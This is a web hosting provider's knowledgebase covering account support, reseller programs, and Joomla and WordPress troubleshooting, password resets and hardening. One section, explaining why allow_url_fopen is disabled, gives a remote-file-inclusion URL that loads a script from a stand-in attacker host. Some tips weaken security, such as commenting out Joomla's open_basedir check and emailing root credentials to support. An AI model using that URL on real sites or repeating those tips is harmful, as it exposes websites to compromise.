Knowledgebase

It all starts with a domain name ♣ Find your perfect domain name

Account

If your primary email address on file is nolonger functional or is invalid:

1. On the assumption that you can login to your account -> then just update your profile (Once logged in -> click Edit your profile under My Account) with the new valid and functional email address.

2. On the assumption that you can not login to your account (lost or forgot your password) -> please submit a contact form from our Contact Us page and provide us with your account username, your account\'s secret answer and the valid email address you want set in your account.

Since you are an already existing client of Jolis Intercom we would request that you create a Helpdesk Ticket instead through your Jolis.Net Account, this will help us follow-up all the correspondences and see to it that your issue gets resolved to your satisfaction.

See Below the instructions on how to do so;

  1. Login to your Account.
  2. Navigate to Helpdesk under Support
  3. Click on 'Open New Ticket' link

  1. Fill in the form with your Name, Domain/URL, Subject, then your Request/Inquiry in the text box.
  2. If you intend to attach a screenshot/image click Choose File and browse for the file from a specified location on your computer. 
  3. Click Add New Response to submit your Helpdesk Ticket

From now and on wards you are discouraged from sending emails to support@jolis.net OR billing@jolis.net

For quality assuarance purposes we strongly recommend that you create an help desk support ticket instead through your Jolis.Net Account, this will help us followup all the correspondences and see to it that your issue gets resolved to your satisfaction
. See below instructions on how to create a help desk ticket,

1. Login to your Jolis.Net Account if you have forgotten you logins you can do a password reset here.

2. Under SUPPORT choose Helpdesk.

3. Click on Open New Ticket.

4. And send us your query.

See Link below on how for a diagrammatic representation

http://www.jolis.net/kb.php?cat=5&action=article&id=183

How to clear cache in common browsers
1. Google Chrome
2. Mozilla FireFox
3. Internet Explorer 9 & 10
4. Internet Explorer 8
5. Internet Explorer 7
6. Mobile Safari iPhone, iPad, iPad
7. Safari 4 Quick method

Clearing Cache in Google Chrome


Once your browser is open, select theWrenchicon (the settings menu, located in the upper-right corner) then, Tools, and Clear Browsing Data.... You can also access the Delete Browsing History window by pressing Ctrl+Shift+Delete, or clicking on this link: [chrome://settings/clearBrowserData].



Select theEmpty the cachecheck-box. Uncheck everything else to avoid deleting data unintentionally.



In theObliterate the following items from:dropdown menu, selectthe beginning of time.



Click the Clear Browsing Databutton. Chrome will work for a moment, and then the process will be done. You've successfully cleared Chrome's Cache!


Clearing Cache in Mozilla FireFox
Click the Firefox menu in the top left corner. Next, select the right arrow next to History >, and click Clear Recent History (or click on Tools then Clear Recent History if you don't have the Firefox Menu) Or, you can press Ctrl+Shift+Delete to open the recent history window.




Make sure 'Details' is expanded, then selectCachefrom the list. Uncheck everything else.



In theTime Range to Clear:drop down, select Everything.




Clearing Cache in Internet Explorer 9 and 10
Open your browser and click the Tools button in the upper right-hand corner. This button looks like a cog.



Go to Safety -> Click Delete browsing history



Make sure Cookies (IE9) or Cookies and website data (IE10) is checked.



Check or uncheck any additional aspects of your browsing history.



Click delete

Clearing Cache in Internet Explorer 8: New Toolbar
Open your browser and go to Safety > Delete Browsing History.





Make sure Cookies is checked.



Check or uncheck any additional aspects of your browsing history.



Click delete

Clearing Cache in Internet Explorer 7


Open your browser and go to Tools > Internet Options.



Under the General tab, find the Browsing History section. From here, you can decide whether to delete some or all cookies:

To delete all cookies, click Delete, select Delete Cookies, and hit Yes.



To selectively delete cookies, go to Settings > View Files. Select the cookies you wish to delete (hold down CTRL while clicking to make multiple selections) and press Delete.



Clearing Cache in Mobile Safari for iPhone, iPad, and iPod

1. Go to to Settings > Safari.
2. Scroll down and tap Clear Cookies and Data.
3. Tap Clear Cookies and Data to confirm.

Clearing Cache Safari 4: Quick Method


Open your browser and go to the menu labeled Safari.



Select the sub-menu Preferences.



Select the Security tab at the top of the window.



Select the Show Cookies button.



Remove desired cookies. Either remove select cookies or click Remove All.

Follow the steps below to change your Jolis International account password;

  1. Login to your Jolis International account with your current username and password
  2. Navigate to Edit Your Password under My Account
  3. Provide your Current Password (one you logged in with), then your New Password
  4. Click Submit

Follow the instructions below to credit your account with Live credits/InHouse Credits that you can use to pay-off your invoice or Send VienSMS;
Login to your Jolis.Net account
Navigate to Refill Account under My Account OR Click the Refill link as in diagram below;



Enter amount you want to refill your account with and Click Submit



Click Continue to Payment



Use any of our supported forms of payment as on the payment page to pay-off your Stock Account invoice and get your account credited with the ordered for credits.

If you are an admin who has lost your G7Bill password and access to your email (No access to password reset links).
Follow the instructions below to reset your logins.

Emergency user logins reset..
You just define 2 variables in your configs/db.php file (at the bottom just before ?>)in the format as below:


  $G7BILL_EMERGENCY_RESET_USERNAME	=	"admin";
  $G7BILL_EMERGENCY_RESET_PASSWORD	=	"Some_New_Password";

Thereafter, open your front-end website, login with the above preset logins. Reset your logins then after delete or comment out the above respective lines.

Affiliate


In order to join our affilliate system:
1.Login to your account.
2.Go to the 'Help & Info' section of the member menu and click the 'Affiliate Info' link.
3.Read and agree to the Terms to be an affiliate.
4.Once you have completed the affiliate signup, your affiliate account will be pending until one of our staff members approves it.

You can check the status at any time by clicking that same Affiliate Info link. You will find your link and our available banners there as well.

Our generic DNS are:
NS1.THEG7.COM
NS2.THEG7.COM

If you purchase an account through Jolis our domain department will automatically assign the above nameservers to that domain.

If your client already has a domain name, the client can contact their registrar and change the name servers to:
NS1.THEG7.COM
NS2.THEG7.COM

If you have difficulty with changing a DNS record with a registrar or if you would like to transfer the domain name to our registrar, please place an order for the transfer here

Many of our resellers have informed us that they have found success through the following offline marketing techniques.

- Local newspaper
- technical publications

You should consider researching the all of your local publications for possible advertising.

- Community groups:

Business & city ( chamber of commerce ) groups are a good way for you to get your foot in the door of new potential business opportunities.

Please send any suggestions you may have for other marketing tips to sales@jolis.net. Any success that you have experienced may benefit other Jolis resellers. As the program grows for everyone we will be able to allocate more resources toward the program for its continued success.

To contact our Technical Support Department, please login to your Jolis.Net account. Then go to "Support" and use the drop down to choose Helpdesk. Fill in the form with your request through that system.

If you are unable to log into your Jolis.Net account, you may reset your password here.

In the email you send to tech support, please make sure that you include the domain name of the account(s) which are having the issue, your root login crendentials and your ISPConfig panel login details. Please try to be as specific as possible when explaining the issue you are experiencing.

Alternatively, you can oder for a premium support through your Jolis.Net account, since this is a VPS and you have full control over it some things mus t be done by your self. howver if you feel that we do it for you then get a premium ticket

When you become a reseller, you will be reselling Hosting Services. You can choose to have other Resellers under you who can also host more than one website under their accounts. All these privileges are granted through your ISPConfig panel.

When signing up a new client in the reseller system you would put your clients' information for everything in the sign up form.
This is done in your ISPConfig Panel -> Client -> Add new client. The username and password you set is what your client will use to access their own ISPConfig panel.

At this time, we only offer the standard unix based reseller hosting packages. We do not have windows hosting packages.

You will need to create your self an account with Jolis.Net here
Click on Hosting Services -> Virtual Private Servers
Click on the Order Now link below any of the VPS Plans you want.
Under Configuration options choose the Operating system you want to use and if we install for your ISPConfig3 Panel
Choose the Hosting term, Monthly, Quarterly, Annually.

If you are to buy the domain names from us see pricing information here.
Then about the hosting its upon you to determine the charge since with our VPS you can host unlimited domains.

Resellers can find a free domain look up script at:
http://hotscripts.com

Since with a VPS you are running your own Hosting Company/business you decide what you charge your clients we have no hand in determining your rates.

As a reseller your financial success is important & you should obtain a premium rate for your services.

Your clients' control panel will be plesk
For access to a demo of plesk, please contact the Reseller Department on telephone by calling +256-752-567374
Your clients will see your own branding when they sign up for your hosting, rather than our brand.

To log into your reseller panel, please visit: http://http://plesk-reseller.jolis.net/

The reseller generic DNS is:
NS1.SECUREHOSTSERVER.COM
NS2.SECUREHOSTSERVER.COM

If you purchase an account through Jolis our domain department will automatically assign the reseller generic DNS to that domain.

If your client already has a domain name, the client can contact their registrar and change the name servers to:
NS1.SECUREHOSTSERVER.COM
NS2.SECUREHOSTSERVER.COM

If you have difficulty with changing a DNS record with a registrar or if you would like to transfer the domain name to our registrar, please send an email request to transfer@jolis.net.

If you are an existing customer of ours please take advantage of our Referral Program. Refer three clients for a Web hosting package and your Web hosting will be free for an entire year

Find more information at click here

Affiliate program simply refers to driving traffic to our Website and you receive 10% of total sales (Tier 1) and 5% of total sales (Tier 2) in commission for every new customer.We offer one of the most rewarding Affiliate Programs in the industry for Webmasters. If you are an existing customer of ours please take advantage of our Referral Program. Refer three clients for a Web hosting package and your Web hosting will be free for an entire year.

For more information click here

When signing up a new client in the reseller system you would put your clients\' information for everything in the sign up form EXCEPT for the billing information. You will want to use your (reseller) credit card so that we bill you the lower rate, then you mark up the rate & bill your clients.

The Reseller Program from Jolis Intercom is one that allows you to purchase our plans at a discount and then resell them to your clients at a mark-up. It is like buying wholesale and selling retail on your end. As a reseller all accounts are purchased by you and billed directly to you. You provide the billing and technical support for your clients. We deal directly with you as a reseller. Our Reseller Program is ideal for Webmasters who want to provide their clients with hosting service along with their design services.
Jolis allows anyone interested to become a Jolis Reseller. You will be able to resell our packages to your clients. Here are some of features:

- Brandable Reseller Master Control Platform.
- Easy to Use & Easy to Understand
- Manage your clients from anywhere in the world.
- Modular system allows you to sell additional services to your clients
- Brand Your clients Control Panel
- Help Center Guides for your clients
- Assistance to Resellers in how to increase profits.
- Guaranteed Service from the #1 Web Hosting powerhouse in the World: Jolis

Application Installation

There are several things that you can do in order to improve the performance of your Joomla 1.5 website:
1. Enable the Joomla caching system from the admin area > Global Configuration > System. Enabling cache will signifficantly improve the performance of your website;
2. Keep the number of extensions as low as possible. Do not install components or plugins you do not actually need;
3. Remove/Unpublish the extensions you are not using;
4. Reduce the content on your front page. Organize your information into categories and sections. This will reduce the loading time of your website and help your visitors navigate better through your information;
5. Reduce the number of files opened for each page loading. For this purpose you will have to find out all the included files by writing this code at the end of your main index.php:
echo '

'.print_r(get_included_files(), true).'
';

If you have more than 150 files included the number is high and suggests slow page loading.

1. Optimize your Joomla database by following the instructions in our article on How to optimize a MySQL database;
2. Use the phpMyAdmin tool to check for big tables in your Joomla database. You can then check which extension uses this table and remove it from your website.



Usually issues with big tables are caused by old forum extensions that are attacked by spam bots. The tables that store the forum posts get filled with spam and become really big. This slows the performance of your entire website. Such tables should be deleted manually using the phpMyAdmin tool. To delete a table mark the check box left to it and click on the red cross icon. Confirm the changes to permanently erase the table.



Make sure you are deleting tables created by extensions you have already uninstalled from the Joomla back end! If you delete any of the Joomla's core tables this will probably break your website.

I have uploaded my joomla website but I am getting an error below;

Warning: strtotime() [function.strtotime]: It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'Africa/Khartoum' for 'EAT/3.0/no DST' instead in /var/www/vhosts/yourdomain.com/httpdocs/libraries/joomla/utilities/date.php on line 56

Warning: date() [function.date]: It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'Africa/Khartoum' for 'EAT/3.0/no DST' instead in /var/www/vhosts/yourdomain.com/httpdocs/libraries/joomla/utilities/date.php on line 198

How do I solve the problem?

Access your website files using any ftp client

Edit the file: libraries/joomla/utilities/date.php
At the very top of this file, add the following:

Save, and that should sort it out ...


When trying to install a new Component, Module, Template or Plugin using Joomla! 1.5 I receive the following error:

JFolder::create: Path not in open_basedir paths
Warning! Failed to move file


QN: How do I solve this?


Answers:


1. Access the folder.php file in the /Joomla_root/libraries/joomla/filesystem/ where your Joomla! files are located. Open the folder.php file and look for the following line
;

$obd = ini_get('open_basedir');

Comment it:


//$obd = ini_get('open_basedir');

The PHP option allow_url_fopen would normally allow a programmer to open, include or otherwise use a remote file using a URL rather than a local file path. For security reasons, AUSWEB has disabled this feature; however, a feature-rich alternative exists in the form of the bundled CURL library

Server-Side Includes

Many developers include files by pointing to a remote URL, even if the file is within the local system. For example:

With allow_url_fopen disabled, this method will not work. Instead, the file must be included with a local path, and there are three methods of doing this:

1. By using a relative path, such as ../includes/example_include.php.
2. By using an absolute path (also known as relative-from-root), such as /home/username/example.com/includes/example_include.php.
3. By using the PHP environment variable $_SERVER['DOCUMENT_ROOT'], which returns the absolute path to the web root directory. This is by far the best (and most portable) solution. The example that follows shows the environment variable in action:

Processing Differences (and passing variables to an included file)

It is worth mentioning that the alternative solutions presented here will result in a difference in the way the include() function is handled. The alternative solutions all return the PHPcode from the included page; however, the now-unavailable remote URL method returns theresult from the included page. One result of this behavior is that you cannot pass a querystring using the alternative solutions. You define the variables locally before performing the include:


Example:

To achieve the effect of this:

You must instead use this:

Example exploitation

If allow_url_fopen is enabled, this system can be exploited by simply changing the value of the variable in the querystring:

http://yourdomain.com/index.php?page=http://crackerscum.net/evilscript.txt

To avoid potential compromise of our customer websites, the PHP variable allow_url_fopen=off is enabled on all servers

In WordPress, there is more than one way to set your password. In normal circumstances, you can do it through the WordPress interface. If you forget your password, WordPress has a built in recovery mechanism that uses email.

But on some hosts, especially when email isn't working right, sometimes you have to take different steps to reset your password.

Here's a list of different ways to reset a password. Any one of them will work, and you only need one to succeed. Which method you will use depends on what type of access you still have to your website.

To Change Your Password

To change your password in current versions:
1. In the Admin Panel menu, go to USERS
2. Click on your username in the list to edit
3. In the Edit User screen, scroll down to the New Password section and type in a new password in the two boxes provided. The strength box will show how good (strong) your password is.
4. Click the UPDATE PROFILE button

Your new password takes effect immediately.



Through the automatic emailer
If you know your username and the email account in your profile, you can use the "lost password" feature of WordPress.

1. Go to your WordPress Login page (something like http://yoursite.com/wordpress/wp-login.php)
2. Click on lost password
3. You will be taken to a page to put in some details. Enter your user name and the email address on file for that account.
4. Wait happily as your new password is emailed to you.
5. Once you get your new password, login and change it to something you can remember on your profile page.




Through MySQL Command Line

1. Get an MD5 hash of your password.
-Visit md5 Hash Generator, or...
-Create a key with Python. or...
-On Unix/Linux:
1. Create file wp.txt with the new password in it (and *nothing* else)
2. md5sum wp.txt
3. rm wp.txt


2. "mysql -u root -p" (log in to MySQL)
3. enter your mysql password
4. "use (name-of-database)" (select WordPress database)
5. "show tables;" (you're looking for a table name with "users" at the end)
6. "SELECT ID, user_login, user_pass FROM (name-of-table-you-found)" (this gives you an idea of what's going on inside)
7. "UPDATE (name-of-table-you-found) SET user_pass="(MD5-string-you-made)" WHERE ID = (id#-of-account-you-are-reseting-password-for)" (actually changes the password)
8. "SELECT ID, user_login, user_pass FROM (name-of-table-you-found)" (confirm that it was changed)
9. (type Control-D, to exit mysql client)

Note if you have a recent version of MySQL (version 5.x?) you can have MySQL compute the MD5 hash for you.

Skip step 1. above.
Do the following for step 7. instead.
- "UPDATE (name-of-table-you-found) SET user_pass = MD5('"(new-password)"') WHERE ID = (id#-of-account-you-are-reseting-password-for)" (actually changes the password)

Note that even if the passwords are salted, meaning they look like $P$BLDJMdyBwegaCLE0GeDiGtC/mqXLzB0, you can still replace the password with an MD5 hash, and Wordpress will let you log in.

Through phpMyAdmin

This article is for those who have phpMyAdmin access to their database. Note: use phpMyAdmin at your own risk. If you doubt your ability to use it, seek further advice. WordPress is not responsible for loss of data.

Begin by logging into phpMyAdmin and click databases.
A list of databases will appear. Click your WordPress database.
- All the tables in your database will appear. If not, click Structure.

- Look for wp_users.
- Click on the icon for browse.
- Locate your Username under user_login
- Click edit



- Your user_id will be shown, click on Edit
- Next to the user_pass is a long list of numbers and letters.
- Select and delete these and type in your new password.
- Type in the password you want to use. Just type it in normally, but remember, it is case-sensitive.
- In this example, the new password will be 'rabbitseatcarrots'
- Once you have done that, click the dropdown menu indicated, and select MD5 from the menu.
- Click the 'Go' button to the bottom right.
- Test the new password on the login screen. If it doesn't work, check that you've followed these instructions exactly.



Because passwords are stored using a one-way "salted" MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

1. Use a MySQL utility such as phpMyAdmin with MySQL 5.0.1 (or newer).
2. Open the correct database and select the table, jos_users . (Note: table prefix defers depending on what you set to use during the installation. )



3. Select the record (or table row) for your administrator account (The first admin account, created by default, has an id of 62).
4. Click on 'Edit Record'.




5. To the right of the 'password' field, select the drop-down "function" of MD5".

6. Enter new password in the 'data' field.




7. Save the record.

If you happen to use an outdated CMS (Content Management System) for example Joomla 1.5, this puts your website at risk of getting defaced/hacked Please take note that a hacked site is a big risk to the server since it can also be used to gain access to the rest of the sites on the server and here at Jolis we do not compromise on Security it being paramount.
We have therefore comeup with Securirty enhancement plugins if installed will give your Joomla 1.5 Content Management System a security edge.

1. JHackGuard
2. plg_marcosinterceptor11j15

Follow the instructions below to install the plugins

1. Login to your Joomla Administrator end, http://yourdomain.com.administrator
2. Navigate to Extensions -> Install / Uninstall



3. Click Choose file to browser for the Plugin (JHackGuard & plg_marcosinterceptor11j15) then click Upload file & Install



4. You will receive a installation sucess notification



5. Go through the the same procedures to install the second plugin



6. Under Extension Click Plugin Manager



7. Under the list click on your newly installed Plugin look for Security-JHackGuard



8. Enable the Plugin and configure its Parameters as below



9. Go through the same for the second Plugin (plg_marcosinterceptor11j15)



8. Enable the Plugin and configure its Parameters as below



Doing this will make your website more secure and reduces on the risks of getting Hacked

Shared hosting environments have certain limits on what you can change, in order to maintain the stability of the server. Dedicated server and VPS customers may change all the settings in the php.ini file and do not have the same limits as shared hosting.
Shared Hosting


PHP has been configured to use the following settings on our shared servers:

safe mode = Off (cannot adjust)
memory_limit = 256M (MAXIMUM)
max_execution_time = 30 (MAXIMUM in seconds)
max_input_time = 60 (MAXIMUM in seconds)
post_max_size = 64M (MAXIMUM)
upload_max_filesize = 64M (MAXIMUM)
enable_dl = Off (cannot adjust)

The above settings either CANNOT be changed or cannot be exceeded on a shared account. These limits are set to prevent extremely high resource usage in shared environments. We have found that a majority of the PHP scripts will work within these limits, and the scripts that require more resources are best suited for a VPS or dedicated server.

Dedicated Servers and VPS


Dedicated servers and VPS can change and raise these settings to any value desired.


Dedicated Server and VPS customers with WHM access can change the limit by going to WHM > Service Configuration > PHP Configuration Editor.

Important Note: Although you have the ability to change the settings on a dedicated server or VPS to anything you want, an incorrectly configured server will perform poorly or even crash. Unless you have specific reasons to change the PHP settings, it is recommended that you leave them at the default settings or use the recommended settings for the script or application you are using.

Settings You Can Change


We also set the following:

register_globals = On
magic_quotes_gpc = Off


These two settings, and any other PHP settings not aforementioned, can be changed using a custom php.ini file located in the same folder as the script that requires the settings.

NOTE: Jolis cannot know why you want nor need to change these settings. You are changing this at the advice of your web designer or the developer of your script. Jolis can only show you where to make the change.

Joomla Security Info is your guide how to keep your Joomla-based website secure. We assure you that the developers of Joomla! CMS take security threats seriously and Joomla is in fact very secure. However, you need to understand that there is no such thing as a 100 % secure CMS. To keep your Joomla website secure from hackers you need to take the following steps.

Use the latest Joomla security update

First of all, use the latest version of Joomla. How to upgrade Joomla to the newest version.

Use only secure third party extensions and keep them updated

Most times when people say their Joomla website has been hacked, the security problem has nothing to do with Joomla itself. In most of the cases, the hacker came in through an unsecure third party extension that the site owner installed. Check this list for vulnerable 3rd party/non Joomla! extensions.

Use secure username and password for Joomla administrators

Don't use the default admin username. Change it to something safe and choose a safe password. A safe password contains at least eight characters and includes both letters, numbers and special characters. Here is a great Secure Password Generator

Use a SEF component that makes your Joomla more secure

A SEF component is used to make the url:s of your Joomla website more Search Engine Friendly. But a good SEF component also gives security benefits. A default Joomla url tells the viewer a lot about the page visited; that it is a Joomla page and what components are used to produce that page. A SEF component masks that information and makes it harder for a hacker to find eventual security vulnerabilities.


The SEF component sh404SEF also includes a security component that stops various attacks on your website and sends you a warning whenever your site has been exposed to an attack. It also gives you the option to remove the generator tag from your site. The generator tag tells the world that your site is generated by Joomla. Of course it is a nice thing to give credit to Joomla, but there are other ways to pay back to the Joomla community that does not help hackers. If you do not tell the hacker that your website is built with Joomla, you make it a lot harder for him to know where to start hacking.


Use a secure web host / secure server configuration for Joomla

1. Avoid any web host that uses php safe_mode, i.e. safe_mode should be OFF.
2. If you use Joomla 1.0.x, make sure to Joomla's Register Globals Emulation OFF. You find the setting in the Joomla Global Configuration.
3. Use PHP5 rather than PHP4.

Dont tell everyone about your configurations


1. Make sure that no outsider can view php information (server configuration) by phpinfo.
2. Hide the generator tag that shows that you use Joomla CMS. Note that we are not suggesting that Joomla would be insecure. This suggestion is just to make it harder for Joomla-specialized hackers to recognize that your website is Joomla-powered.
3. Use an SEF component that masks what components are used on your website.

Write-protect your Joomla configuration file (make unwriteable)


You should definitely write-protect your Joomla configuration file. The file is called "configuration.php" and is located in the root folder of your domain. Joomla 1.5 write protects the configuration.php by default, but in Joomla 1.0 you must actively choose to write protect the file. You do that by checking the option "Make unwriteable after saving" in the Joomla Global Configuration. You can also manually CMOD the file to 444.

Delete the Joomla templates that you do not use


It is important to delete Joomla templates that you do not use for your website. If you keep the default Joomla templates, someone could for example link to your site with the url /index.php?jos_change_template=rhuk_solarflare_ii and show your website with the default template. Besides that your website may look terrible for anyone clicking that link, it may also show content that you never intended to publish on the web, for example through module positions that does not exist in your chosen template.

Change file permissions to restrict editing or overwriting


You can restrict file permissions on some critical files to make it harder for a hacker to edit or overwrite your files. Here are some suggestions:

1.Set the permission of /index.php to 444
2. Set the permission of /configuration.php to 444
3. Set the permission of /templates/*yourtemplate*/index.php to 444
4. Set the permission of the folder /templates/*yourtemplate*/ to 555

Security in WordPress is taken very seriously, but as with any other system there are potential security issues that may arise if some basic security precautions aren't taken. This article will go through some common forms of vulnerabilities, and the things you can do to help keep your WordPress installation secure.

This article is not the ultimate quick fix to your security concerns. If you have specific security concerns or doubts, you should discuss them with people whom you trust to have sufficient knowledge of computer security and WordPress.

What is Security?


Fundamentally, security is not about perfectly secure systems. Such a thing might well be impractical, or impossible to find and/or maintain. A secure server protects the privacy, integrity, and availability of the resources under the server administrator's control.

Qualities of a trusted web host might include:


1. Readily discusses your security concerns and which security features and processes they offer with their hosting.
2. Provides the most recent stable versions of all server software.
3. Provides reliable methods for backup and recovery.

Decide which security you need on your server by determining the software and data that needs to be secured. The rest of this guide will help you with this.

Security Themes
Keep in mind some general ideas while considering security for each aspect of your system:

Limiting access
Making smart choices that reduce possible entry points available to a malicious person.

Containment
Your system should be configured to minimize the amount of damage that can be done in the event that it is compromised.

Preparation and knowledge
Keeping backups and knowing the state of your WordPress installation at regular intervals. Having a plan to backup and recover your installation in the case of catastrophe can help you get back online faster in the case of a problem.

Vulnerabilities on Your Computer

Make sure the computers you use are free of spyware, malware, and virus infections. No amount of security in WordPress or on your web server will make the slightest difference if there is a keylogger on your computer.


Always keep your operating system and the software on it, especially your web browser, up to date to protect you from security vulnerabilities.

Vulnerabilities in WordPress

Like many modern software packages, WordPress is updated regularly to address new security issues that may arise. Improving software security is always an ongoing concern, and to that end you should always keep up to date with the latest version of WordPress. Older versions of WordPress are not maintained with security updates.

Updating WordPress

Main article: Updating WordPress.


The latest version of WordPress is always available from the main WordPress website at http://wordpress.org. Official releases are not available from other sites -- never download or install WordPress from any website other than http://wordpress.org.


Since version 2.7, WordPress has featured automatic updates. Use this functionality to ease the process of keeping up to date. You can also use the WordPress Dashboard to keep informed about updates. Read the entry in the Dashboard or the WordPress Developer Blog to determine what steps you must take to update and remain secure.


If a vulnerability is discovered in WordPress and a new version is released to address the issue, the information required to exploit the vulnerability is almost certainly in the public domain. This makes old versions more open to attack, and is one of the primary reasons you should always keep WordPress up to date.


If you are an administrator in charge of more than one WordPress installation, consider using Subversion to make management easier.

Reporting Security Issues


If you think you have found a security flaw in WordPress, you can help by reporting the issue. See the Security FAQ for information on how to report security issues.


If you think you have found a bug, report it. See Submitting Bugs for how to do this. You might have uncovered a vulnerability, or a bug that could lead to one.

Web Server Vulnerabilities
The web server running WordPress, and the software on it, can have vulnerabilities. Therefore, make sure you are running secure, stable versions of your web server and the software on it, or make sure you are using a trusted host that takes care of these things for you.


If you're on a shared server (one that hosts other websites besides your own) and a website on the same server is compromised, your website can potentially be compromised too even if you follow everything in this guide. Be sure to ask your web host what security precautions they take.

Network Vulnerabilities
The network on both ends -- the WordPress server side and the client network side -- should be trusted. That means updating firewall rules on your home router and being careful about what networks you work from. An Internet cafe where you are sending passwords over an unencrypted connection, wireless or otherwise, is not a trusted network.


Your web host should be making sure that their network is not compromised by attackers, and you should do the same. Network vulnerabilities can allow passwords and other sensitive information to be intercepted.

Passwords
Many potential vulnerabilities can be avoided with good security habits. A strong password is an important aspect of this.


The goal with your password is to make it hard for other people to guess and hard for a brute force attack to succeed. Many automatic password generators are available that can be used to create secure passwords.


WordPress also features a password strength meter which is shown when changing your password in WordPress. Use this when changing your password to ensure its strength is adequate.

Things to avoid when choosing a password:


1. Any permutation of your own real name, username, company name, or name of your website.
2. A word from a dictionary, in any language.
3. A short password.
4. Any numeric-only or alphabetic-only password (a mixture of both is best).

A strong password is necessary not just to protect your blog content. A hacker who gains access to your administrator account is able to install malicious scripts that can potentially compromise your entire server.

FTP
When connecting to your server you should use SFTP encryption if your web host provides it. If you are unsure if your web host provides SFTP or not, just ask them.


Using SFTP is the same as FTP, except your password and other data is encrypted as it is transmitted between your computer and your website. This means your password is never sent in the clear and cannot be intercepted by an attacker.

File Permissions
Some neat features of WordPress come from allowing various files to be writable by the web server. However, allowing write access to your files is potentially dangerous, particularly in a shared hosting environment.


It is best to lock down your file permissions as much as possible and to loosen those restrictions on the occasions that you need to allow write access, or to create specific folders with less restrictions for the purpose of doing things like uploading files.


Here is one possible permission scheme.


All files should be owned by your user account, and should be writable by you. Any file that needs write access from WordPress should be writable by the web server, if your hosting set up requires it, that may mean those files need to be group-owned by the user account used by the web server process.

/
The root WordPress directory: all files should be writable only by your user account, except .htaccess if you want WordPress to automatically generate rewrite rules for you.

/wp-admin/
The WordPress administration area: all files should be writable only by your user account.

/wp-includes/
The bulk of WordPress application logic: all files should be writable only by your user account.

/wp-content/
User-supplied content: intended to be writable by your user account and the web server process.

Within /wp-content/ you will find:

/wp-content/themes/
Theme files. If you want to use the built-in theme editor, all files need to be writable by the web server process. If you do not want to use the built-in theme editor, all files can be writable only by your user account.

/wp-content/plugins/
Plugin files: all files should be writable only by your user account.

Other directories that may be present with /wp-content/ should be documented by whichever plugin or theme requires them. Permissions may vary.

Changing file permissions

If you have shell access to your server, you can change file permissions recursively with the following command:

For Directories:

find /path/to/your/wordpress/install/ -type d -exec chmod 755 {} \;

For Files:

find /path/to/your/wordpress/install/ -type f -exec chmod 644 {} \;

Regarding Automatic Updates
When you tell WordPress to perform an automatic update, all file operations are performed as the user that owns the files, not as the web server's user. All files are set to 0644 and all directories are set to 0755, and writable by only the user and readable by everyone else, including the web server.

Database Security
If you run multiple blogs on the same server, it is wise to consider keeping them in separate databases each managed by a different user. This is best accomplished when performing the initial WordPress installation. This is a containment strategy: if an intruder successfully cracks one WordPress installation, this makes it that much harder to alter your other blogs.


If you administer MySQL yourself, ensure that you understand your MySQL configuration and that unneeded features (such as accepting remote TCP connections) are disabled. See Secure MySQL Database Design for a nice introduction.

Restricting Database User Privileges
For normal WordPress operations, such as posting blog posts, uploading media files, posting comments, creating new WordPress users and installing WordPress plugins, the MySQL database user only needs data read and data write privileges to the MySQL database; SELECT, INSERT, UPDATE and DELETE.


Therefore any other database structure and administration privileges, such as DROP, ALTER and GRANT can be revoked. By revoking such privileges you are also improving the containment policies.

Note: Some plugins, themes and major WordPress updates might require to make database structural changes, such as add new tables or change the schema. In such case, before installing the plugin or updating a software temporarily allow the database user the required privileges.

Securing wp-admin
Adding server-side password protection (such as BasicAuth) to /wp-admin/ adds a second layer of protection around your blog's admin area, the login screen, and your files. This forces an attacker or bot to attack this second layer of protection instead of your actual admin files. Many WordPress attacks are carried out autonomously by malicious software bots.


Simply securing the wp-admin/ directory might also break some WordPress functionality, such as the AJAX handler at wp-admin/admin-ajax.php. See the Resources section for more documentation on how to password protect your wp-admin/ directory properly.

The most common attacks against a WordPress blog usually fall into two categories.


1. Sending specially-crafted HTTP requests to your server with specific exploit payloads for specific vulnerabilities. These include old/outdated plugins and software.
2. Attempting to gain access to your blog by using "brute-force" password guessing.

The ultimate implementation of this "second layer" password protection is to require an HTTPS SSL encrypted connection for administration, so that all communication and sensitive data is encrypted. See Administration Over SSL.

Securing wp-includes
A second layer of protection can be added where scripts are generally not intended to be accessed by any user. One way to do that is to block those scripts using mod_rewrite in the .htaccess file. Note: to ensure the code below is not overwritten by WordPress, place it outside the # BEGIN WordPress and # END WordPress tags in the .htaccess file. WordPress can overwrite anything between these tags.

# Block the include-only files.
RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]


# BEGIN WordPress

Note that this won't work well on Multisite, as RewriteRule ^wp-includes/[^/]+\.php$ - [F,L] would prevent the ms-files.php file from generating images. Omitting that line will allow the code to work, but offers less security.

Securing wp-config.php
You can move the wp-config.php file to the directory above your WordPress install. This means for a site installed in the root of your webspace, you can store wp-config.php outside the web-root folder.


Note: Some people assert that moving wp-config.php has minimal security benefits and, if not done carefully, may actually introduce serious vulnerabilities. Others disagree.

Note that wp-config.php can be stored ONE directory level above the WordPress (where wp-includes resides) installation. Also, make sure that only you (and the web server) can read this file (it generally means a 400 or 440 permission).


If you use a server with .htaccess, you can put this in that file (at the very top) to deny access to anyone surfing for it:


order allow,deny
deny from all


Disable File Editing
The Wordpress Dashboard by default allows administrators to edit PHP files, such as plugin and theme files. This is often the first tool an attacker will use if able to login, since it allows code execution. Wordpress has a constant to disable editing from Dashboard. Placing this line in wp-config.php is equivalent to removing the 'edit_themes', 'edit_plugins' and 'edit_files' capabilities of all users:

define('DISALLOW_FILE_EDIT', true);

This will not prevent an attacker from uploading malicious files to your site, but might stop some attacks.

Plugins
First of all, make sure your plugins are always updated. Also, if you are not using a specific plugin, delete it from the system.

Firewall Plugins
